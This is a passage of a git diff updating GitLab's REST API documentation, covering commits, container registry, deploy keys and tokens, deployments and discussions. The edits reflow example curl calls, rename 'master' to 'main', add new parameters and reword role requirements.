The Audit Events API allows you to retrieve [instance audit events](../administration/audit_events.md#instance-events).
+This API cannot retrieve group or project audit events.
To retrieve audit events using the API, you must [authenticate yourself](README.md#authentication) as an Administrator.
@@ -133,6 +134,7 @@ Example response:
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/34078) in GitLab 12.5.
The Group Audit Events API allows you to retrieve [group audit events](../administration/audit_events.md#group-events).
+This API cannot retrieve project audit events.
A user with a Owner role (or above) can retrieve group audit events of all users.
A user with a Developer or Maintainer role is limited to group audit events based on their individual actions.
diff --git a/doc/api/boards.md b/doc/api/boards.md
index 3252036c840..3cdd9552d66 100644
--- a/doc/api/boards.md
+++ b/doc/api/boards.md
@@ -250,7 +250,8 @@ Example response:
"path_with_namespace": "diaspora/diaspora-project-site",
"created_at": "2018-07-03T05:48:49.982Z",
"default_branch": null,
- "tag_list": [],
+ "tag_list": [], //deprecated, use `topics` instead
+ "topics": [],
"ssh_url_to_repo": "ssh://user@example.com/diaspora/diaspora-project-site.git",
"http_url_to_repo": "http://example.com/diaspora/diaspora-project-site.git",
"web_url": "http://example.com/diaspora/diaspora-project-site",
diff --git a/doc/api/broadcast_messages.md b/doc/api/broadcast_messages.md
index de56405056a..b98373b5a58 100644
--- a/doc/api/broadcast_messages.md
+++ b/doc/api/broadcast_messages.md
@@ -4,9 +4,7 @@ group: Activation
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Broadcast Messages API
-
-> Introduced in GitLab 8.12.
+# Broadcast Messages API **(FREE SELF)**
Broadcast messages API operates on [broadcast messages](../user/admin_area/broadcast_messages.md).
@@ -109,7 +107,9 @@ Parameters:
Example request:
```shell
-curl --data "message=Deploy in progress&color=#cecece" --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/broadcast_messages"
+curl --data "message=Deploy in progress&color=#cecece" \
+ --header "PRIVATE-TOKEN: <your_access_token>" \
+ "https://gitlab.example.com/api/v4/broadcast_messages"
```
Example response:
@@ -154,7 +154,8 @@ Parameters:
Example request:
```shell
-curl --request PUT --data "message=Update message&color=#000" --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/broadcast_messages/1"
+curl --request PUT --data "message=Update message&color=#000" \
+ --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/broadcast_messages/1"
```
Example response:
diff --git a/doc/api/commits.md b/doc/api/commits.md
index 22d98b2b0a6..711b565bdbd 100644
--- a/doc/api/commits.md
+++ b/doc/api/commits.md
@@ -7,7 +7,7 @@ type: reference, api
# Commits API **(FREE)**
-This API operates on [repository commits](https://git-scm.com/book/en/v2/Git-Basics-Recording-Changes-to-the-Repository). Read more about [GitLab-specific information](../user/project/repository/index.md#commits) for commits.
+This API operates on [repository commits](https://git-scm.com/book/en/v2/Git-Basics-Recording-Changes-to-the-Repository). Read more about [GitLab-specific information](../user/project/repository/index.md#commit-changes-to-a-repository) for commits.
## List repository commits
@@ -28,6 +28,7 @@ GET /projects/:id/repository/commits
| `with_stats` | boolean | no | Stats about each commit are added to the response |
| `first_parent` | boolean | no | Follow only the first parent commit upon seeing a merge commit |
| `order` | string | no | List commits in order. Possible values: `default`, [`topo`](https://git-scm.com/docs/git-log#Documentation/git-log.txt---topo-order). Defaults to `default`, the commits are shown in reverse chronological order. |
+| `trailers` | boolean | no | Parse and include [Git trailers](https://git-scm.com/docs/git-interpret-trailers) for every commit |
```shell
curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/repository/commits"
@@ -141,7 +142,8 @@ PAYLOAD=$(cat << 'JSON'
}
JSON
)
-curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --header "Content-Type: application/json" --data "$PAYLOAD" "https://gitlab.example.com/api/v4/projects/1/repository/commits"
+curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --header "Content-Type: application/json" \
+ --data "$PAYLOAD" "https://gitlab.example.com/api/v4/projects/1/repository/commits"
```
Example response:
@@ -305,9 +307,11 @@ Parameters:
| `sha` | string | yes | The commit hash |
| `branch` | string | yes | The name of the branch |
| `dry_run` | boolean | no | Does not commit any changes. Default is false. [Introduced in GitLab 13.3](https://gitlab.com/gitlab-org/gitlab/-/issues/231032) |
+| `message` | string | no | A custom commit message to use for the new commit. [Introduced in GitLab 14.0](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/62481)
```shell
-curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --form "branch=master" "https://gitlab.example.com/api/v4/projects/5/repository/commits/master/cherry_pick"
+curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \
+ --form "branch=master" "https://gitlab.example.com/api/v4/projects/5/repository/commits/master/cherry_pick"
```
Example response:
@@ -380,7 +384,8 @@ Parameters:
| `dry_run` | boolean | no | Does not commit any changes. Default is false. [Introduced in GitLab 13.3](https://gitlab.com/gitlab-org/gitlab/-/issues/231032) |
```shell
-curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --form "branch=master" "https://gitlab.example.com/api/v4/projects/5/repository/commits/a738f717824ff53aebad8b090c1b79a14f2bd9e8/revert"
+curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --form "branch=master" \
+ "https://gitlab.example.com/api/v4/projects/5/repository/commits/a738f717824ff53aebad8b090c1b79a14f2bd9e8/revert"
```
Example response:
@@ -534,7 +539,9 @@ POST /projects/:id/repository/commits/:sha/comments
| `line_type` | string | no | The line type. Takes `new` or `old` as arguments |
```shell
-curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --form "note=Nice picture man\!" --form "path=dudeism.md" --form "line=11" --form "line_type=new" "https://gitlab.example.com/api/v4/projects/17/repository/commits/18f3e63d05582537db6d183d9d557be09e1f90c8/comments"
+curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \
+ --form "note=Nice picture man\!" --form "path=dudeism.md" --form "line=11" --form "line_type=new" \
+ "https://gitlab.example.com/api/v4/projects/17/repository/commits/18f3e63d05582537db6d183d9d557be09e1f90c8/comments"
```
Example response:
@@ -791,6 +798,7 @@ Example response:
"source_project_id":35,
"target_project_id":35,
"labels":[ ],
+ "draft":false,
"work_in_progress":false,
"milestone":null,
"merge_when_pipeline_succeeds":false,
diff --git a/doc/api/container_registry.md b/doc/api/container_registry.md
index 0b37c0ad91a..4de024da2de 100644
--- a/doc/api/container_registry.md
+++ b/doc/api/container_registry.md
@@ -90,7 +90,8 @@ GET /groups/:id/registry/repositories
| `tags_count` | boolean | no | If the parameter is included as true, each repository includes `"tags_count"` in the response ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/32141) in GitLab 13.1). |
```shell
-curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/2/registry/repositories?tags=1&tags_count=true"
+curl --header "PRIVATE-TOKEN: <your_access_token>" \
+ "https://gitlab.example.com/api/v4/groups/2/registry/repositories?tags=1&tags_count=true"
```
Example response:
@@ -161,7 +162,8 @@ GET /registry/repositories/:id
| `tags_count` | boolean | no | If the parameter is included as `true`, the response includes `"tags_count"`. |
```shell
-curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/registry/repositories/2?tags=true&tags_count=true"
+curl --header "PRIVATE-TOKEN: <your_access_token>" \
+ "https://gitlab.example.com/api/v4/registry/repositories/2?tags=true&tags_count=true"
```
Example response:
@@ -202,7 +204,8 @@ DELETE /projects/:id/registry/repositories/:repository_id
| `repository_id` | integer | yes | The ID of registry repository. |
```shell
-curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/registry/repositories/2"
+curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" \
+ "https://gitlab.example.com/api/v4/projects/5/registry/repositories/2"
```
## List registry repository tags
@@ -221,7 +224,8 @@ GET /projects/:id/registry/repositories/:repository_id/tags
| `repository_id` | integer | yes | The ID of registry repository. |
```shell
-curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/registry/repositories/2/tags"
+curl --header "PRIVATE-TOKEN: <your_access_token>" \
+ "https://gitlab.example.com/api/v4/projects/5/registry/repositories/2/tags"
```
Example response:
@@ -256,7 +260,8 @@ GET /projects/:id/registry/repositories/:repository_id/tags/:tag_name
| `tag_name` | string | yes | The name of tag. |
```shell
-curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/registry/repositories/2/tags/v10.0.0"
+curl --header "PRIVATE-TOKEN: <your_access_token>" \
+ "https://gitlab.example.com/api/v4/projects/5/registry/repositories/2/tags/v10.0.0"
```
Example response:
@@ -289,7 +294,8 @@ DELETE /projects/:id/registry/repositories/:repository_id/tags/:tag_name
| `tag_name` | string | yes | The name of tag. |
```shell
-curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/registry/repositories/2/tags/v10.0.0"
+curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" \
+ "https://gitlab.example.com/api/v4/projects/5/registry/repositories/2/tags/v10.0.0"
```
This action doesn't delete blobs. To delete them and recycle disk space,
@@ -350,23 +356,27 @@ Examples:
and remove ones that are older than 2 days:
```shell
- curl --request DELETE --data 'name_regex_delete=[0-9a-z]{40}' --data 'keep_n=5' --data 'older_than=2d' --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/registry/repositories/2/tags"
+ curl --request DELETE --data 'name_regex_delete=[0-9a-z]{40}' --data 'keep_n=5' --data 'older_than=2d' \
+ --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/registry/repositories/2/tags"
```
1. Remove all tags, but keep always the latest 5:
```shell
- curl --request DELETE --data 'name_regex_delete=.*' --data 'keep_n=5' --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/registry/repositories/2/tags"
+ curl --request DELETE --data 'name_regex_delete=.*' --data 'keep_n=5' \
+ --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/registry/repositories/2/tags"
```
1. Remove all tags, but keep always tags beginning with `stable`:
```shell
- curl --request DELETE --data 'name_regex_delete=.*' --data 'name_regex_keep=stable.*' --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/registry/repositories/2/tags"
+ curl --request DELETE --data 'name_regex_delete=.*' --data 'name_regex_keep=stable.*' \
+ --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/registry/repositories/2/tags"
```
1. Remove all tags that are older than 1 month:
```shell
- curl --request DELETE --data 'name_regex_delete=.*' --data 'older_than=1month' --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/registry/repositories/2/tags"
+ curl --request DELETE --data 'name_regex_delete=.*' --data 'older_than=1month' \
+ --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/registry/repositories/2/tags"
```
diff --git a/doc/api/custom_attributes.md b/doc/api/custom_attributes.md
index a17b3b78b18..56a9f6881cd 100644
--- a/doc/api/custom_attributes.md
+++ b/doc/api/custom_attributes.md
@@ -90,7 +90,8 @@ PUT /projects/:id/custom_attributes/:key
| `value` | string | yes | The value of the custom attribute |
```shell
-curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --data "value=Greenland" "https://gitlab.example.com/api/v4/users/42/custom_attributes/location"
+curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" \
+ --data "value=Greenland" "https://gitlab.example.com/api/v4/users/42/custom_attributes/location"
```
Example response:
diff --git a/doc/api/dependency_proxy.md b/doc/api/dependency_proxy.md
index 8448edef9c5..139669c018c 100644
--- a/doc/api/dependency_proxy.md
+++ b/doc/api/dependency_proxy.md
@@ -11,7 +11,8 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/11631) in GitLab 12.10.
> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/273655) to [GitLab Free](https://about.gitlab.com/pricing/) in GitLab 13.6.
-Deletes the cached manifests and blobs for a group. This endpoint requires group owner access.
+Deletes the cached manifests and blobs for a group. This endpoint requires the [Owner role](../user/permissions.md)
+for the group.
WARNING:
[A bug exists](https://gitlab.com/gitlab-org/gitlab/-/issues/277161) for this API.
diff --git a/doc/api/deploy_keys.md b/doc/api/deploy_keys.md
index 30a56e6253b..3b063180900 100644
--- a/doc/api/deploy_keys.md
+++ b/doc/api/deploy_keys.md
@@ -124,7 +124,9 @@ POST /projects/:id/deploy_keys
| `can_push` | boolean | no | Can deploy key push to the project's repository |
```shell
-curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --header "Content-Type: application/json" --data '{"title": "My deploy key", "key": "ssh-rsa AAAA...", "can_push": "true"}' "https://gitlab.example.com/api/v4/projects/5/deploy_keys/"
+curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --header "Content-Type: application/json" \
+ --data '{"title": "My deploy key", "key": "ssh-rsa AAAA...", "can_push": "true"}' \
+ "https://gitlab.example.com/api/v4/projects/5/deploy_keys/"
```
Example response:
@@ -154,7 +156,8 @@ PUT /projects/:id/deploy_keys/:key_id
| `can_push` | boolean | no | Can deploy key push to the project's repository |
```shell
-curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --header "Content-Type: application/json" --data '{"title": "New deploy key", "can_push": true}' "https://gitlab.example.com/api/v4/projects/5/deploy_keys/11"
+curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --header "Content-Type: application/json" \
+ --data '{"title": "New deploy key", "can_push": true}' "https://gitlab.example.com/api/v4/projects/5/deploy_keys/11"
```
Example response:
@@ -238,7 +241,9 @@ With those IDs, add the same deploy key to all:
```shell
for project_id in 321 456 987; do
- curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --header "Content-Type: application/json" \
- --data '{"title": "my key", "key": "ssh-rsa AAAA..."}' "https://gitlab.example.com/api/v4/projects/${project_id}/deploy_keys"
+ curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \
+ --header "Content-Type: application/json" \
+ --data '{"title": "my key", "key": "ssh-rsa AAAA..."}' \
+ "https://gitlab.example.com/api/v4/projects/${project_id}/deploy_keys"
done
```
diff --git a/doc/api/deploy_tokens.md b/doc/api/deploy_tokens.md
index ad144946445..d8aab8896a1 100644
--- a/doc/api/deploy_tokens.md
+++ b/doc/api/deploy_tokens.md
@@ -49,7 +49,8 @@ Example response:
## Project deploy tokens
-Project deploy token API endpoints require project maintainer access or higher.
+Project deploy token API endpoints require the [Maintainer role](../user/permissions.md) or higher
+for the project.
### List project deploy tokens
@@ -116,7 +117,9 @@ Parameters:
Example request:
```shell
-curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --header "Content-Type: application/json" --data '{"name": "My deploy token", "expires_at": "2021-01-01", "username": "custom-user", "scopes": ["read_repository"]}' "https://gitlab.example.com/api/v4/projects/5/deploy_tokens/"
+curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --header "Content-Type: application/json" \
+ --data '{"name": "My deploy token", "expires_at": "2021-01-01", "username": "custom-user", "scopes": ["read_repository"]}' \
+ "https://gitlab.example.com/api/v4/projects/5/deploy_tokens/"
```
Example response:
@@ -156,7 +159,8 @@ Parameters:
Example request:
```shell
-curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/deploy_tokens/13"
+curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" \
+ "https://gitlab.example.com/api/v4/projects/5/deploy_tokens/13"
```
## Group deploy tokens
@@ -229,7 +233,9 @@ Parameters:
Example request:
```shell
-curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --header "Content-Type: application/json" --data '{"name": "My deploy token", "expires_at": "2021-01-01", "username": "custom-user", "scopes": ["read_repository"]}' "https://gitlab.example.com/api/v4/groups/5/deploy_tokens/"
+curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --header "Content-Type: application/json" \
+ --data '{"name": "My deploy token", "expires_at": "2021-01-01", "username": "custom-user", "scopes": ["read_repository"]}' \
+ "https://gitlab.example.com/api/v4/groups/5/deploy_tokens/"
```
Example response:
diff --git a/doc/api/deployments.md b/doc/api/deployments.md
index cf224ad60ab..586f3edf51e 100644
--- a/doc/api/deployments.md
+++ b/doc/api/deployments.md
@@ -9,6 +9,9 @@ type: concepts, howto
## List project deployments
+> The `updated_after` and `updated_before` attributes were removed and replaced
+ by `finished_after` and `finished_before` respectively in GitLab 14.0.
+
Get a list of deployments in a project.
```plaintext
@@ -17,27 +20,19 @@ GET /projects/:id/deployments
| Attribute | Type | Required | Description |
|------------------|----------------|----------|-----------------------------------------------------------------------------------------------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
-| `order_by` | string | no | Return deployments ordered by `id` or `iid` or `created_at` or `updated_at` or `ref` fields. Default is `id` |
-| `sort` | string | no | Return deployments sorted in `asc` or `desc` order. Default is `asc` |
-| `updated_after` | datetime | no | Return deployments updated after the specified date. Expected in ISO 8601 format (`2019-03-15T08:00:00Z`) |
-| `updated_before` | datetime | no | Return deployments updated before the specified date. Expected in ISO 8601 format (`2019-03-15T08:00:00Z`) |
-| `environment` | string | no | The [name of the environment](../ci/environments/index.md) to filter deployments by |
-| `status` | string | no | The status to filter deployments by |
-
-The status attribute can be one of the following values:
-
-- created
-- running
-- success
-- failed
-- canceled
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `order_by` | string | no | Return deployments ordered by either one of `id`, `iid`, `created_at`, `updated_at` or `ref` fields. Default is `id`. |
+| `sort` | string | no | Return deployments sorted in `asc` or `desc` order. Default is `asc`. |
+| `finished_after` | datetime | no | Return deployments updated after the specified date. Expected in ISO 8601 format (`2019-03-15T08:00:00Z`). |
+| `finished_before` | datetime | no | Return deployments updated before the specified date. Expected in ISO 8601 format (`2019-03-15T08:00:00Z`). |
+| `environment` | string | no | The [name of the environment](../ci/environments/index.md) to filter deployments by. |
+| `status` | string | no | The status to filter deployments by. One of `created`, `running`, `success`, `failed`, `canceled`.
```shell
curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/deployments"
```
-Example of response
+Example response:
```json
[
@@ -51,16 +46,16 @@ Example of response
"author_name": "Administrator",
"created_at": "2016-08-11T09:36:01.000+02:00",
"id": "99d03678b90d914dbb1b109132516d71a4a03ea8",
- "message": "Merge branch 'new-title' into 'master'\r\n\r\nUpdate README\r\n\r\n\r\n\r\nSee merge request !1",
+ "message": "Merge branch 'new-title' into 'main'\r\n\r\nUpdate README\r\n\r\n\r\n\r\nSee merge request !1",
"short_id": "99d03678",
- "title": "Merge branch 'new-title' into 'master'\r"
+ "title": "Merge branch 'new-title' into 'main'\r"
},
"coverage": null,
"created_at": "2016-08-11T07:36:27.357Z",
"finished_at": "2016-08-11T07:36:39.851Z",
"id": 657,
"name": "deploy",
- "ref": "master",
+ "ref": "main",
"runner": null,
"stage": "deploy",
"started_at": null,
@@ -86,7 +81,7 @@ Example of response
"pipeline": {
"created_at": "2016-08-11T02:12:10.222Z",
"id": 36,
- "ref": "master",
+ "ref": "main",
"sha": "99d03678b90d914dbb1b109132516d71a4a03ea8",
"status": "success",
"updated_at": "2016-08-11T02:12:10.222Z",
@@ -100,7 +95,7 @@ Example of response
},
"id": 41,
"iid": 1,
- "ref": "master",
+ "ref": "main",
"sha": "99d03678b90d914dbb1b109132516d71a4a03ea8",
"user": {
"avatar_url": "http://www.gravatar.com/avatar/e64c7d89f26bd1972efa854d13d7dd61?s=80&d=identicon",
@@ -121,16 +116,16 @@ Example of response
"author_name": "Administrator",
"created_at": "2016-08-11T13:28:26.000+02:00",
"id": "a91957a858320c0e17f3a0eca7cfacbff50ea29a",
- "message": "Merge branch 'rename-readme' into 'master'\r\n\r\nRename README\r\n\r\n\r\n\r\nSee merge request !2",
+ "message": "Merge branch 'rename-readme' into 'main'\r\n\r\nRename README\r\n\r\n\r\n\r\nSee merge request !2",
"short_id": "a91957a8",
- "title": "Merge branch 'rename-readme' into 'master'\r"
+ "title": "Merge branch 'rename-readme' into 'main'\r"
},
"coverage": null,
"created_at": "2016-08-11T11:32:24.456Z",
"finished_at": "2016-08-11T11:32:35.145Z",
"id": 664,
"name": "deploy",
- "ref": "master",
+ "ref": "main",
"runner": null,
"stage": "deploy",
"started_at": null,
@@ -156,7 +151,7 @@ Example of response
"pipeline": {
"created_at": "2016-08-11T07:43:52.143Z",
"id": 37,
- "ref": "master",
+ "ref": "main",
"sha": "a91957a858320c0e17f3a0eca7cfacbff50ea29a",
"status": "success",
"updated_at": "2016-08-11T07:43:52.143Z",
@@ -170,7 +165,7 @@ Example of response
},
"id": 42,
"iid": 2,
- "ref": "master",
+ "ref": "main",
"sha": "a91957a858320c0e17f3a0eca7cfacbff50ea29a",
"user": {
"avatar_url": "http://www.gravatar.com/avatar/e64c7d89f26bd1972efa854d13d7dd61?s=80&d=identicon",
@@ -199,13 +194,13 @@ GET /projects/:id/deployments/:deployment_id
curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/deployments/1"
```
-Example of response
+Example response:
```json
{
"id": 42,
"iid": 2,
- "ref": "master",
+ "ref": "main",
"sha": "a91957a858320c0e17f3a0eca7cfacbff50ea29a",
"created_at": "2016-08-11T11:32:35.444Z",
"updated_at": "2016-08-11T11:34:01.123Z",
@@ -227,7 +222,7 @@ Example of response
"status": "success",
"stage": "deploy",
"name": "deploy",
- "ref": "master",
+ "ref": "main",
"tag": false,
"coverage": null,
"created_at": "2016-08-11T11:32:24.456Z",
@@ -252,16 +247,16 @@ Example of response
"commit": {
"id": "a91957a858320c0e17f3a0eca7cfacbff50ea29a",
"short_id": "a91957a8",
- "title": "Merge branch 'rename-readme' into 'master'\r",
+ "title": "Merge branch 'rename-readme' into 'main'\r",
"author_name": "Administrator",
"author_email": "admin@example.com",
"created_at": "2016-08-11T13:28:26.000+02:00",
- "message": "Merge branch 'rename-readme' into 'master'\r\n\r\nRename README\r\n\r\n\r\n\r\nSee merge request !2"
+ "message": "Merge branch 'rename-readme' into 'main'\r\n\r\nRename README\r\n\r\n\r\n\r\nSee merge request !2"
},
"pipeline": {
"created_at": "2016-08-11T07:43:52.143Z",
"id": 42,
- "ref": "master",
+ "ref": "main",
"sha": "a91957a858320c0e17f3a0eca7cfacbff50ea29a",
"status": "success",
"updated_at": "2016-08-11T07:43:52.143Z",
@@ -280,32 +275,25 @@ POST /projects/:id/deployments
| Attribute | Type | Required | Description |
|---------------|----------------|----------|-----------------------------------------------------------------------------------------------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
-| `environment` | string | yes | The [name of the environment](../ci/environments/index.md) to create the deployment for |
-| `sha` | string | yes | The SHA of the commit that is deployed |
-| `ref` | string | yes | The name of the branch or tag that is deployed |
-| `tag` | boolean | yes | A boolean that indicates if the deployed ref is a tag (true) or not (false) |
-| `status` | string | yes | The status of the deployment |
-
-The status can be one of the following values:
-
-- created
-- running
-- success
-- failed
-- canceled
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user.|
+| `environment` | string | yes | The [name of the environment](../ci/environments/index.md) to create the deployment for. |
+| `sha` | string | yes | The SHA of the commit that is deployed. |
+| `ref` | string | yes | The name of the branch or tag that is deployed. |
+| `tag` | boolean | yes | A boolean that indicates if the deployed ref is a tag (`true`) or not (`false`). |
+| `status` | string | no | The status to filter deployments by. One of `created`, `running`, `success`, `failed`, or `canceled`. |
```shell
-curl --data "environment=production&sha=a91957a858320c0e17f3a0eca7cfacbff50ea29a&ref=master&tag=false&status=success" --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/deployments"
+curl --data "environment=production&sha=a91957a858320c0e17f3a0eca7cfacbff50ea29a&ref=main&tag=false&status=success" \
+ --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/deployments"
```
-Example of a response:
+Example response:
```json
{
"id": 42,
"iid": 2,
- "ref": "master",
+ "ref": "main",
"sha": "a91957a858320c0e17f3a0eca7cfacbff50ea29a",
"created_at": "2016-08-11T11:32:35.444Z",
"status": "success",
@@ -326,7 +314,7 @@ Example of a response:
}
```
-## Updating a deployment
+## Update a deployment
```plaintext
PUT /projects/:id/deployments/:deployment_id
@@ -334,21 +322,21 @@ PUT /projects/:id/deployments/:deployment_id
| Attribute | Type | Required | Description |
|------------------|----------------|----------|---------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
-| `deployment_id` | integer | yes | The ID of the deployment to update |
-| `status` | string | yes | The new status of the deployment |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `deployment_id` | integer | yes | The ID of the deployment to update. |
+| `status` | string | no | The new status of the deployment. One of `created`, `running`, `success`, `failed`, or `canceled`. |
```shell
curl --request PUT --data "status=success" --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/deployments/42"
```
-Example of a response:
+Example response:
```json
{
"id": 42,
"iid": 2,
- "ref": "master",
+ "ref": "main",
"sha": "a91957a858320c0e17f3a0eca7cfacbff50ea29a",
"created_at": "2016-08-11T11:32:35.444Z",
"status": "success",
@@ -382,5 +370,5 @@ GET /projects/:id/deployments/:deployment_id/merge_requests
It supports the same parameters as the [Merge Requests API](merge_requests.md#list-merge-requests) and returns a response using the same format:
```shell
-curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/deployments/42"
+curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/deployments/42/merge_requests"
```
diff --git a/doc/api/discussions.md b/doc/api/discussions.md
index 3d40349ecca..d8d989adfe2 100644
--- a/doc/api/discussions.md
+++ b/doc/api/discussions.md
@@ -156,7 +156,7 @@ Parameters:
| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
| `issue_iid` | integer | yes | The IID of an issue |
| `body` | string | yes | The content of the thread |
-| `created_at` | string | no | Date time string, ISO 8601 formatted, e.g. 2016-03-11T03:45:40Z (requires administrator or project/group owner rights) |
+| `created_at` | string | no | Date time string, ISO 8601 formatted, such as `2016-03-11T03:45:40Z` (requires administrator or project/group owner rights) |
```shell
curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/issues/11/discussions?body=comment"
@@ -167,7 +167,7 @@ curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitla
Adds a new note to the thread. This can also [create a thread from a single comment](../user/discussions/#start-a-thread-by-replying-to-a-standard-comment).
**WARNING**
-Notes can be added to other items than comments (system notes, etc.) making them threads.
+Notes can be added to other items than comments, such as system notes, making them threads.
```plaintext
POST /projects/:id/issues/:issue_iid/discussions/:discussion_id/notes
@@ -182,7 +182,7 @@ Parameters:
| `discussion_id` | integer | yes | The ID of a thread |
| `note_id` | integer | yes | The ID of a thread note |
| `body` | string | yes | The content of the note/reply |
-| `created_at` | string | no | Date time string, ISO 8601 formatted, e.g. 2016-03-11T03:45:40Z (requires administrator or project/group owner rights) |
+| `created_at` | string | no | Date time string, ISO 8601 formatted, such as `2016-03-11T03:45:40Z` (requires administrator or project/group owner rights) |
```shell
curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/issues/11/discussions/6a9c1750b37d513a43987b574953fceb50b03ce7/notes?body=comment"
@@ -365,7 +365,7 @@ Parameters:
| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
| `snippet_id` | integer | yes | The ID of an snippet |
| `body` | string | yes | The content of a discussion |
-| `created_at` | string | no | Date time string, ISO 8601 formatted, e.g. 2016-03-11T03:45:40Z (requires administrator or project/group owner rights) |
+| `created_at` | string | no | Date time string, ISO 8601 formatted, such as `2016-03-11T03:45:40Z` (requires administrator or project/group owner rights) |
```shell
curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/snippets/11/discussions?body=comment"
@@ -388,7 +388,7 @@ Parameters:
| `discussion_id` | integer | yes | The ID of a thread |
| `note_id` | integer | yes | The ID of a thread note |
| `body` | string | yes | The content of the note/reply |
-| `created_at` | string | no | Date time string, ISO 8601 formatted, e.g. 2016-03-11T03:45:40Z (requires administrator or project/group owner rights) |
+| `created_at` | string | no | Date time string, ISO 8601 formatted, such as `2016-03-11T03:45:40Z` (requires administrator or project/group owner rights) |
```shell
curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/snippets/11/discussions/6a9c1750b37d513a43987b574953fceb50b03ce7/notes?body=comment"
@@ -572,7 +572,7 @@ Parameters:
| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
| `epic_id` | integer | yes | The ID of an epic |
| `body` | string | yes | The content of the thread |
-| `created_at` | string | no | Date time string, ISO 8601 formatted, e.g. 2016-03-11T03:45:40Z (requires administrator or project/group owner rights) |
+| `created_at` | string | no | Date time string, ISO 8601 formatted, such as `2016-03-11T03:45:40Z` (requires administrator or project/group owner rights) |
```shell
